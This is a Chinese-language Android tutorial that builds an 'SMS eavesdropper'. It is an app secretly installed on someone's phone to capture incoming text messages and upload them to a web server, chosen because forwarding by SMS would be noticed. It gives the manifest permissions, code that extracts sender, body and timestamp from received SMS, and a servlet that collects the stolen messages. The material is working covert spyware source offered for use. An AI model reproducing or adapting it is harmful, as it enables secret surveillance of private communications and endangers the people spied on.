Android入门:广播接收者应用(短信窃听器)
Android入门:广播接收者应用(短信窃听器)
一、短信窃听器原理介绍
短信窃听器的目的是窃听某人发送的短信,比如我们在A的手机中安装了此应用想要看B发送给A的短信;
而怎么样才能够获得短信息呢?如果通过短信方式发送给第三方,则会被看出来,因此我们可以通过网络将消息发送给web服务器;
Android手机中的Messaging应用也只是一个普通的应用;
二、核心代码
短信窃听器客户端核心代码
在AndroidManifest.xml中添加权限:
- <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
- <uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码
服务器端代码只是接收参数并显示;
三、短信窃听器具体代码
服务器端代码
- package org.xiazdong.servlet;
- import java.io.IOException;
- import javax.servlet.ServletException;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- @WebServlet("/SMSServlet")
- public class SMSServlet extends HttpServlet {
- protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
- doPost(request, response);
- }
- protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
- request.setCharacterEncoding("utf-8");
- String sender = request.getParameter("sender");
- String body = request.getParameter("body");
- String time = request.getParameter("time");
- System.out.println("发送方:"+sender);
- System.out.println("发送内容:"+body);
- System.out.println("发送时间:"+time);
- }
- }
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